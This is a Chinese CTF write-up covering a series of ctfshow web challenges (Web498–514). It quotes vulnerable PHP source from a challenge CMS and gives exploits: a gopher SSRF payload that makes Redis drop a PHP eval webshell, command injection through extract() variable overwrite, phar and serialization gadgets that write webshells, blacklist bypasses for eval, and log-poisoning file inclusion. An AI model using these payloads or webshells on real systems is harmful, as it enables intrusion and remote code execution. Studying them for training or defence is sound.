"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
if($user){ | |
extract($_POST); | |
$user= $_SESSION['user']; | |
if(preg_match('/\'|\"|\\\/', $avatar)){ | |
$ret['msg']='存在无效字符'; | |
die(json_encode($ret)); | |
} | |
$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'"; | |
$db=new db(); | |
if($db->update_one($sql)){ | |
$_SESSION['user']['nickname']=$nickname; | |
$_SESSION['user']['avatar']=$avatar; | |
$ret['msg']='管理员信息修改成功'; | |
}else{ | |
$ret['msg']='管理员信息修改失败'; | |
} | |
die(json_encode($ret)); | |
}else{ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} |
# Web498
还是上一题利用的点,但是这里离没法直接读取 flag,ssrf 打 redis
将返回信息解码
很显然 6379 端口是开放的
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27zf%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
访问 shell.php 即可
# Web499
okk,冲
这里加了一个跳转链接
这里有一个 api/admin_setting 文件,用之前的文件读取拿到这个文件
<?php | |
session_start(); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
if($user){ | |
$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php')); | |
foreach ($_POST as $key => $value) { | |
$config[$key]=$value; | |
} | |
file_put_contents(__DIR__.'/../config/settings.php', serialize($config)); | |
$ret['msg']='管理员信息修改成功'; | |
die(json_encode($ret)); | |
}else{ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} |
这个 if 中现将原有配置读取出来,然后用 post 传入的值替换,最后在序列化后存入 /../config/settings.php,这里将一句话写在配置文件中即可
这里连接上看一下写入的内容
# Web500
又加了一个功能
读取 api/admin_db_backup.php 文件
<?php | |
session_start(); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
if($user){ | |
extract($_POST); | |
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path); | |
if(file_exists(__DIR__.'/../backup/'.$db_path)){ | |
$ret['msg']='数据库备份成功'; | |
}else{ | |
$ret['msg']='数据库备份失败'; | |
} | |
die(json_encode($ret)); | |
}else{ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} |
这里可以变量覆盖实现命令注入
访问 a.txt
# Web501
没有什么新加入的模块,还是读取上一题数据库备份的文件
<?php | |
session_start(); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
if($user){ | |
extract($_POST); | |
if(preg_match('/^zip|tar|sql$/', $db_format)){ | |
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format); | |
if(file_exists(__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format)){ | |
$ret['msg']='数据库备份成功'; | |
}else{ | |
$ret['msg']='数据库备份失败'; | |
} | |
}else{ | |
$ret['msg']='数据库备份失败'; | |
} | |
die(json_encode($ret)); | |
}else{ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} |
加了一点限制,但是不影响命令注入
# Web502
没新东西,还是读数据库备份的文件
<?php | |
session_start(); | |
include('../render/db_class.php'); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.'; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
if($user){ | |
extract($_POST); | |
if(file_exists($pre.$db_format)){ | |
$ret['msg']='数据库备份成功'; | |
die(json_encode($ret)); | |
} | |
if(preg_match('/^(zip|tar|sql)$/', $db_format)){ | |
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format); | |
if(file_exists($pre.$db_format)){ | |
$ret['msg']='数据库备份成功'; | |
}else{ | |
$ret['msg']='数据库备份失败'; | |
} | |
}else{ | |
$ret['msg']='数据库备份失败'; | |
} | |
die(json_encode($ret)); | |
}else{ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} |
先判断传入的路径如果已经存在了就直接退出,但是不影响什么
db_format=zip&pre=1;cp+/f*+/var/www/html/a.txt; |
# Web503
还读备份文件
<?php | |
session_start(); | |
include('../render/db_class.php'); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.'; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
if($user){ | |
extract($_POST); | |
if(file_exists($pre.$db_format)){ | |
$ret['msg']='数据库备份成功'; | |
die(json_encode($ret)); | |
} | |
if(preg_match('/^(zip|tar|sql)$/', $db_format)){ | |
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format)); | |
if(file_exists($pre.$db_format)){ | |
$ret['msg']='数据库备份成功'; | |
}else{ | |
$ret['msg']='数据库备份失败'; | |
} | |
}else{ | |
$ret['msg']='数据库备份失败'; | |
} | |
die(json_encode($ret)); | |
}else{ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} |
这里 MD5 包裹,确实没啥好办法利用了,又回头看写好的两个模块,发现配置这个地方多了一点东西
果然也是发现了一个新的文件
<?php | |
session_start(); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
if($user){ | |
$arr = $_FILES["file"]; | |
if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 ) | |
{ | |
$arr["tmp_name"]; | |
$filename = md5($arr['name']); | |
$ext = pathinfo($arr['name'],PATHINFO_EXTENSION); | |
if(!preg_match('/^php$/i', $ext)){ | |
$basename = "../img/".$filename.'.' . $ext; | |
move_uploaded_file($arr["tmp_name"],$basename); | |
$config = unserialize(file_get_contents(__DIR__.'/../config/settings')); | |
$config['logo']=$filename.'.' . $ext; | |
file_put_contents(__DIR__.'/../config/settings', serialize($config)); | |
$ret['msg']='文件上传成功'; | |
} | |
}else{ | |
$ret['msg']='文件上传失败'; | |
} | |
die(json_encode($ret)); | |
}else{ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} |
这里可以文件上传,限制也不多,可以上传一个 phar 文件
通过这个 file_exists 触发到达反序列化的目的,通过下面的 dblog 来写马
<?php | |
error_reporting(0); | |
class db{ | |
public $db; | |
public $log; | |
public $sql; | |
public $username='root'; | |
public $password='root'; | |
public $port='3306'; | |
public $addr='127.0.0.1'; | |
public $database='ctfshow'; | |
public function __construct(){ | |
$this->log=new dbLog(); | |
$this->db=$this->getConnection(); | |
} | |
public function getConnection(){ | |
return new mysqli($this->addr,$this->username,$this->password,$this->database); | |
} | |
public function select_one($sql){ | |
$this->sql=$sql; | |
$result=$this->db->query($sql); | |
if($result){ | |
return $result->fetch_object(); | |
} | |
} | |
public function select_one_array($sql){ | |
$this->sql=$sql; | |
$conn = db::getConnection(); | |
$result=$this->db->query($sql); | |
if($result){ | |
return $result->fetch_assoc(); | |
} | |
} | |
public function update_one($sql){ | |
$this->sql=$sql; | |
$conn = db::getConnection(); | |
$this->db->query($sql); | |
return $this->db->affected_rows; | |
} | |
public function __destruct(){ | |
$this->log->log($this->sql); | |
} | |
} | |
class dbLog{ | |
public $sql; | |
public $content; | |
public $log; | |
public function __construct(){ | |
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt'; | |
} | |
public function log($sql){ | |
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n'; | |
} | |
public function __destruct(){ | |
file_put_contents($this->log, $this->content,FILE_APPEND); | |
} | |
} |
这里去触发一下
这里我上传的文件名是 1.png,这里 md 加密的也是 1.png
连接一句话
# Web504
万能密码到是一直能用
这里看到新加入了功能,但是这题的文件读取不能用了,突破口肯定在新加入的功能
看到这里有查看和下载,猜想有可能存在任意文件读取和任意文件下载,但是在测试的过程中都失败了
看到新增模块,模块名称也是可控的,这里测试了一下,好像是限制了 php,这里想要使用 user.ini 和.htaccess 文件,经过测试也不行
回想之前有一个序列化的点,setting 文件中的内容会被序列化读出,可以覆盖其内容
<?php | |
class dblog{ | |
public $content='<?php @eval($_POST[a]);?>'; | |
public $log="1.php"; | |
public function __destruct(){ | |
file_put_contents($this->content,$this->log); | |
} | |
} | |
echo (serialize(new dblog())); |
# Web505
某多多的既视感 \(o)/~
又加了一个功能,老套路了
任意文件读取换地方了 (*▽*),先读一下本文件
<?php | |
session_start(); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
if($user){ | |
extract($_POST); | |
if($debug==1 && preg_match('/^user/', file_get_contents($f))){ | |
include($f); | |
}else{ | |
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name)); | |
} | |
$ret['msg']='查看成功'; | |
die(json_encode($ret)); | |
}else{ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} |
变量覆盖,include 齐活了,先通过新增模块写一个一句话,再用这个 include 包含,新增的文件开头要有 user
# Web506
没有加新功能
<?php | |
session_start(); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
if($user){ | |
extract($_POST); | |
$ext = substr($f, strlen($f)-3,3); | |
if(preg_match('/php|sml|phar/i', $ext)){ | |
$ret['msg']='请不要使用此功能'; | |
die(json_encode($ret)); | |
} | |
if($debug==1 && preg_match('/^user/', file_get_contents($f))){ | |
include($f); | |
}else{ | |
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name)); | |
} | |
$ret['msg']='查看成功'; | |
die(json_encode($ret)); | |
}else{ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} |
对 f 传入的名字做了一个判断,但是没有影响,include 不认文件名,改一下上传的文件名不用 php|sml|phar 这三个扩展名就行,其他的没变化
# Web511
登录后通过文件查看模块将文件都 down 下来
/index.php
<?php | |
session_start(); | |
include('render/render_class.php'); | |
include('render/db_class.php'); | |
$action=$_GET['action']; | |
if(!isset($action)){ | |
if(isset($_COOKIE['user'])){ | |
$c=$_COOKIE['user']; | |
if(!preg_match('/\:|\,/', $c)){ | |
$user=unserialize($c); | |
} | |
if($user){ | |
templateUtil::render('index'); | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
die(); | |
} | |
switch ($action) { | |
case 'check': | |
extract($_POST); | |
if(!preg_match('/file|or|innodb|sys|mysql/i', $username)){ | |
$sql = "select username,nickname,avatar from user where username = '".$username."' and password='".md5($password)."' order by id limit 1"; | |
$db=new db(); | |
$user=$db->select_one_array($sql); | |
} | |
if($user){ | |
$_SESSION['user']=$user; | |
header('location:index.php?action=index'); | |
}else{ | |
templateUtil::render('error'); | |
} | |
break; | |
case 'clear': | |
system('rm -rf cache/*'); | |
die('cache clear'); | |
break; | |
case 'login': | |
templateUtil::render($action); | |
break; | |
case 'index': | |
$user=$_SESSION['user']; | |
if($user){ | |
templateUtil::render('index',$user); | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
break; | |
case 'view': | |
$user=$_SESSION['user']; | |
if($user){ | |
templateUtil::render($_GET['page'],$user); | |
}else{ | |
header('location:index.php?action=login'); | |
} | |
break; | |
case 'logout': | |
session_destroy(); | |
header('location:index.php?action=login'); | |
break; | |
default: | |
templateUtil::render($action); | |
break; | |
} |
api/admin_templates.php
<?php | |
session_start(); | |
include('../render/db_class.php'); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
$action=$_GET['action']; | |
if(!isset($user)){ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} | |
switch ($action) { | |
case 'list': | |
$sql = "select id,name,type,path,des from templates limit 0,10"; | |
$db=new db(); | |
$temps = $db->select_array($sql); | |
if(count($temps)>0){ | |
$ret['count']=count($temps); | |
$ret['data']=$temps; | |
$ret['msg']='查询成功'; | |
} | |
break; | |
case 'update': | |
extract($_POST); | |
$row=json_decode($row); | |
if(waf($row)){ | |
break; | |
} | |
$sql ="update templates set name='{$row->name}',path='{$row->path}',type='{$row->type}',des='{$row->des}' where id ={$row->id}"; | |
$db = new db(); | |
if($db->update_one($sql)){ | |
$ret['msg']='实时更新成功'; | |
}else{ | |
$ret['msg']='实时更新失败'; | |
} | |
break; | |
case 'getContents': | |
extract($_POST); | |
$template=json_decode($template); | |
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\\u4e00-\u9fa5]+$/', $template->path)){ | |
$ret['count']=1; | |
$ret['msg']='查询成功'; | |
$ret['data']=array('contents'=>htmlspecialchars(file_get_contents(__DIR__.'/../templates/'.$template->path))); | |
} | |
break; | |
case 'download': | |
extract($_POST); | |
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\u4e00-\u9fa5]+$/', $path)){ | |
header("Content-Type: application/octet-stream"); | |
header('Content-Disposition: attachment; filename="' . $path. '"'); | |
echo file_get_contents(__DIR__.'/../templates/'.$path); | |
exit(); | |
} | |
break; | |
case 'upload': | |
extract($_POST); | |
if(!preg_match('/php|phar|ini|settings/i', $name)) | |
{ | |
if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){ | |
$ret['msg']='文件上传失败'; | |
}else{ | |
file_put_contents(__DIR__.'/../templates/'.$name, $content); | |
$ret['msg']='文件上传成功'; | |
} | |
}else{ | |
$ret['msg']='文件上传失败'; | |
} | |
break; | |
default: | |
# code... | |
break; | |
} | |
function waf($row){ | |
$ret = false; | |
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->name)){ | |
$ret=true; | |
} | |
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->type)){ | |
$ret=true; | |
} | |
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->des)){ | |
$ret=true; | |
} | |
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->path)){ | |
$ret=true; | |
} | |
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->id)){ | |
$ret=true; | |
} | |
return $ret; | |
} | |
die(json_encode($ret)); |
api/admin_edit.php
<?php | |
session_start(); | |
include('../render/db_class.php'); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
if($user){ | |
extract($_POST); | |
if(preg_match('/\'|\"|\\\/', $avatar)){ | |
$ret['msg']='存在无效字符'; | |
die(json_encode($ret)); | |
} | |
$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'"; | |
$db=new db(); | |
if($db->update_one($sql)){ | |
$_SESSION['user']['nickname']=$nickname; | |
$_SESSION['user']['avatar']=$avatar; | |
$ret['msg']='管理员信息修改成功'; | |
}else{ | |
$ret['msg']='管理员信息修改失败'; | |
} | |
die(json_encode($ret)); | |
}else{ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} |
api/admin_file_view.php
<?php | |
session_start(); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
if($user){ | |
extract($_POST); | |
if(preg_match('/php|sml|phar|\:|data|file|sess/i', $f)){ | |
$ret['msg']='请不要使用此功能'; | |
die(json_encode($ret)); | |
} | |
if($debug==1 && preg_match('/^user/', file_get_contents($f))){ | |
include($f); | |
}else{ | |
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name)); | |
} | |
$ret['msg']='查看成功'; | |
die(json_encode($ret)); | |
}else{ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} |
render/render_class.php
<?php | |
include('file_class.php'); | |
include('cache_class.php'); | |
class templateUtil { | |
public static function render($template,$arg=array()){ | |
$templateContent=fileUtil::read('templates/'.$template.'.sml'); | |
$cache=templateUtil::shade($templateContent,$arg); | |
echo $cache; | |
} | |
public static function shade($templateContent,$arg=array()){ | |
$templateContent=templateUtil::checkImage($templateContent,$arg); | |
$templateContent=templateUtil::checkConfig($templateContent); | |
$templateContent=templateUtil::checkVar($templateContent,$arg); | |
foreach ($arg as $key => $value) { | |
$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent); | |
} | |
return $templateContent; | |
} | |
public static function checkImage($templateContent,$arg=array()){ | |
foreach ($arg as $key => $value) { | |
if(preg_match('/gopher|file/i', $value)){ | |
$templateContent=str_replace('{ {img:'.$key.'} }', '', $templateContent); | |
} | |
if(stripos($templateContent, '{ {img:'.$key.'} }')){ | |
$encode=''; | |
if(file_exists(__DIR__.'/../cache/'.md5($value))){ | |
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value)); | |
}else{ | |
$ch=curl_init($value); | |
curl_setopt($ch, CURLOPT_HEADER, 0); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
$result=curl_exec($ch); | |
curl_close($ch); | |
$ret=chunk_split(base64_encode($result)); | |
$encode = 'data:image/jpg/png/gif;base64,' . $ret; | |
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode); | |
} | |
$templateContent=str_replace('{ {img:'.$key.'} }', $encode, $templateContent); | |
} | |
} | |
return $templateContent; | |
} | |
public static function checkConfig($templateContent){ | |
$config = unserialize(file_get_contents(__DIR__.'/../config/settings')); | |
foreach ($config as $key => $value) { | |
if(stripos($templateContent, '{ {config:'.$key.'} }')){ | |
$templateContent=str_replace('{ {config:'.$key.'} }', $value, $templateContent); | |
} | |
} | |
return $templateContent; | |
} | |
public static function checkVar($templateContent,$arg){ | |
foreach ($arg as $key => $value) { | |
if(stripos($templateContent, '{ {var:'.$key.'} }')){ | |
eval('$v='.$value.';'); | |
$templateContent=str_replace('{ {var:'.$key.'} }', $v, $templateContent); | |
} | |
} | |
return $templateContent; | |
} | |
} |
现在 phpstorm 将文件目录结构建立,可以看到 checkVar 中有一个 eval
接着寻找调用 checkVar 的地方,同一个文件下看到 shade 有调用
接着往回找
这里只有两处有 arg 参数的调用
而且这里的参数都是从 session 中拿到,这里只要能控制 user 就可以了,登录的时候注入进去即可
这里只要上传一个包含
{ {var:'$key.'} } |
的文件,且不在第一个位置即可
读 flag
# Web512
<?php | |
include('file_class.php'); | |
include('cache_class.php'); | |
class templateUtil { | |
public static function render($template,$arg=array()){ | |
$templateContent=fileUtil::read('templates/'.$template.'.sml'); | |
$cache=templateUtil::shade($templateContent,$arg); | |
echo $cache; | |
} | |
public static function shade($templateContent,$arg=array()){ | |
$templateContent=templateUtil::checkImage($templateContent,$arg); | |
$templateContent=templateUtil::checkConfig($templateContent); | |
$templateContent=templateUtil::checkVar($templateContent,$arg); | |
foreach ($arg as $key => $value) { | |
$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent); | |
} | |
return $templateContent; | |
} | |
public static function checkImage($templateContent,$arg=array()){ | |
foreach ($arg as $key => $value) { | |
if(preg_match('/gopher|file/i', $value)){ | |
$templateContent=str_replace('{ {img:'.$key.'} }', '', $templateContent); | |
} | |
if(stripos($templateContent, '{ {img:'.$key.'} }')){ | |
$encode=''; | |
if(file_exists(__DIR__.'/../cache/'.md5($value))){ | |
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value)); | |
}else{ | |
$ch=curl_init($value); | |
curl_setopt($ch, CURLOPT_HEADER, 0); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
$result=curl_exec($ch); | |
curl_close($ch); | |
$ret=chunk_split(base64_encode($result)); | |
$encode = 'data:image/jpg/png/gif;base64,' . $ret; | |
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode); | |
} | |
$templateContent=str_replace('{ {img:'.$key.'} }', $encode, $templateContent); | |
} | |
} | |
return $templateContent; | |
} | |
public static function checkConfig($templateContent){ | |
$config = unserialize(file_get_contents(__DIR__.'/../config/settings')); | |
foreach ($config as $key => $value) { | |
if(stripos($templateContent, '{ {config:'.$key.'} }')){ | |
$templateContent=str_replace('{ {config:'.$key.'} }', $value, $templateContent); | |
} | |
} | |
return $templateContent; | |
} | |
public static function checkVar($templateContent,$arg){ | |
$db=new db(); | |
foreach ($arg as $key => $value) { | |
if(stripos($templateContent, '{ {var:'.$key.'} }')){ | |
if(!preg_match('/\(|\[|\`|\'|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|require|GET|POST|COOKIE|SESSION|file/i', $value)){ | |
eval('$v='.$value.';'); | |
$templateContent=str_replace('{ {var:'.$key.'} }', $v, $templateContent); | |
} | |
} | |
} | |
return $templateContent; | |
} | |
} |
这里对 value 的值加了一些限制,那么这里考虑绕过就行,其他的流程还是一样的
加模块
这里贴一下群主的骚操作
1; | |
$a=<<<ctfshow | |
<?php includ | |
ctfshow; | |
$b=<<<ctfshow | |
e $ | |
ctfshow; | |
$v1=<<<ctfshow | |
_POS | |
ctfshow; | |
$c=<<<ctfshow | |
T{1}?> | |
ctfshow; | |
$d=<<<ctfshow | |
1.php | |
ctfshow; | |
$e=clone $db; | |
$e->log->log=$d; | |
$e->log->content=$a.$b.$v1.$c; |
然后去调用一下 checkVar 方法
# Web513
<?php | |
include('file_class.php'); | |
include('cache_class.php'); | |
class templateUtil { | |
public static function render($template,$arg=array()){ | |
$templateContent=fileUtil::read('templates/'.$template.'.sml'); | |
$cache=templateUtil::shade($templateContent,$arg); | |
echo $cache; | |
} | |
public static function shade($templateContent,$arg=array()){ | |
$templateContent=templateUtil::checkImage($templateContent,$arg); | |
$templateContent=templateUtil::checkConfig($templateContent); | |
$templateContent=templateUtil::checkVar($templateContent,$arg); | |
$templateContent=templateUtil::checkFoot($templateContent); | |
foreach ($arg as $key => $value) { | |
$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent); | |
} | |
return $templateContent; | |
} | |
public static function checkImage($templateContent,$arg=array()){ | |
foreach ($arg as $key => $value) { | |
if(preg_match('/gopher|file/i', $value)){ | |
$templateContent=str_replace('{ {img:'.$key.'} }', '', $templateContent); | |
} | |
if(stripos($templateContent, '{ {img:'.$key.'} }')){ | |
$encode=''; | |
if(file_exists(__DIR__.'/../cache/'.md5($value))){ | |
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value)); | |
}else{ | |
$ch=curl_init($value); | |
curl_setopt($ch, CURLOPT_HEADER, 0); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
$result=curl_exec($ch); | |
curl_close($ch); | |
$ret=chunk_split(base64_encode($result)); | |
$encode = 'data:image/jpg/png/gif;base64,' . $ret; | |
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode); | |
} | |
$templateContent=str_replace('{ {img:'.$key.'} }', $encode, $templateContent); | |
} | |
} | |
return $templateContent; | |
} | |
public static function checkConfig($templateContent){ | |
$config = unserialize(file_get_contents(__DIR__.'/../config/settings')); | |
foreach ($config as $key => $value) { | |
if(stripos($templateContent, '{ {config:'.$key.'} }')){ | |
$templateContent=str_replace('{ {config:'.$key.'} }', $value, $templateContent); | |
} | |
} | |
return $templateContent; | |
} | |
public static function checkVar($templateContent,$arg){ | |
$db=new db(); | |
foreach ($arg as $key => $value) { | |
if(stripos($templateContent, '{ {var:'.$key.'} }')){ | |
if(!preg_match('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i', $value)){ | |
eval('$v='.$value.';'); | |
$templateContent=str_replace('{ {var:'.$key.'} }', $v, $templateContent); | |
} | |
} | |
} | |
return $templateContent; | |
} | |
public static function checkFoot($templateContent){ | |
if ( stripos($templateContent, '{ {cnzz} }')) { | |
$config = unserialize(file_get_contents(__DIR__.'/../config/settings')); | |
$foot = $config['cnzz']; | |
if(is_file($foot)){ | |
$foot=file_get_contents($foot); | |
include($foot); | |
} | |
} | |
return $templateContent; | |
} | |
} |
这个文件中新加入了一个 checkFoot,原来的 checker 黑名单中加入了新的东西,不是很好利用,将目光转向 checkFoot
这里先去读取 setting 文件的内容,取 cnzz 指向的值,将这个值所代表的文件包含,先看 setting 中 snzz 指向什么
这里可以看到,指向的是页面统计,这个值相当于下面这句话
想要进 if 这个必须是一个文件,文件内容会作为下图的值被 include 包含
这个文件用于满足 if (stripos ($templateContent, ''))
这个文件用于被 file_get_contents ($foot); 读取拿到内容
这里用于 $foot = $config ['cnzz']; 的赋值,最后使用 view 渲染
这里就成功了,ua 头写个马进去
读取 flag
# Web514
render/render_class.php
<?php | |
include('file_class.php'); | |
include('cache_class.php'); | |
class templateUtil { | |
public static function render($template,$arg=array()){ | |
$templateContent=fileUtil::read('templates/'.$template.'.sml'); | |
$cache=templateUtil::shade($templateContent,$arg); | |
echo $cache; | |
} | |
public static function shade($templateContent,$arg=array()){ | |
$templateContent=templateUtil::checkImage($templateContent,$arg); | |
$templateContent=templateUtil::checkConfig($templateContent); | |
$templateContent=templateUtil::checkVar($templateContent,$arg); | |
$templateContent=templateUtil::checkFoot($templateContent); | |
foreach ($arg as $key => $value) { | |
$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent); | |
} | |
return $templateContent; | |
} | |
public static function checkImage($templateContent,$arg=array()){ | |
foreach ($arg as $key => $value) { | |
if(preg_match('/gopher|file/i', $value)){ | |
$templateContent=str_replace('{ {img:'.$key.'} }', '', $templateContent); | |
} | |
if(stripos($templateContent, '{ {img:'.$key.'} }')){ | |
$encode=''; | |
if(file_exists(__DIR__.'/../cache/'.md5($value))){ | |
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value)); | |
}else{ | |
$ch=curl_init($value); | |
curl_setopt($ch, CURLOPT_HEADER, 0); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
$result=curl_exec($ch); | |
curl_close($ch); | |
$ret=chunk_split(base64_encode($result)); | |
$encode = 'data:image/jpg/png/gif;base64,' . $ret; | |
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode); | |
} | |
$templateContent=str_replace('{ {img:'.$key.'} }', $encode, $templateContent); | |
} | |
} | |
return $templateContent; | |
} | |
public static function checkConfig($templateContent){ | |
$config = unserialize(file_get_contents(__DIR__.'/../config/settings')); | |
foreach ($config as $key => $value) { | |
if(stripos($templateContent, '{ {config:'.$key.'} }')){ | |
$templateContent=str_replace('{ {config:'.$key.'} }', $value, $templateContent); | |
} | |
} | |
return $templateContent; | |
} | |
public static function checkVar($templateContent,$arg){ | |
$db=new db(); | |
foreach ($arg as $key => $value) { | |
if(stripos($templateContent, '{ {var:'.$key.'} }')){ | |
if(!preg_match('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i', $value)){ | |
eval('$v='.$value.';'); | |
$templateContent=str_replace('{ {var:'.$key.'} }', $v, $templateContent); | |
} | |
} | |
} | |
return $templateContent; | |
} | |
public static function checkFoot($templateContent){ | |
if ( stripos($templateContent, '{ {cnzz} }')) { | |
$config = unserialize(file_get_contents(__DIR__.'/../config/settings')); | |
$foot = $config['cnzz']; | |
if(is_file($foot)){ | |
$foot=file_get_contents($foot); | |
if(!preg_match('/<|>|\?|=|php|sess|log|phar|\.|\[|\{|\(|_/', $foot)){ | |
include($foot); | |
} | |
} | |
} | |
return $templateContent; | |
} | |
} |
这里读取上一个利用点的文件 ,这里加了很多限制
api/admin_templates.php
<?php | |
session_start(); | |
include('../render/db_class.php'); | |
error_reporting(0); | |
$user= $_SESSION['user']; | |
$ret = array( | |
"code"=>0, | |
"msg"=>"查询失败", | |
"count"=>0, | |
"data"=>array() | |
); | |
$action=$_GET['action']; | |
if(!isset($user)){ | |
$ret['msg']='请登录后使用此功能'; | |
die(json_encode($ret)); | |
} | |
switch ($action) { | |
case 'list': | |
$sql = "select id,name,type,path,des from templates limit 0,10"; | |
$db=new db(); | |
$temps = $db->select_array($sql); | |
if(count($temps)>0){ | |
$ret['count']=count($temps); | |
$ret['data']=$temps; | |
$ret['msg']='查询成功'; | |
} | |
break; | |
case 'update': | |
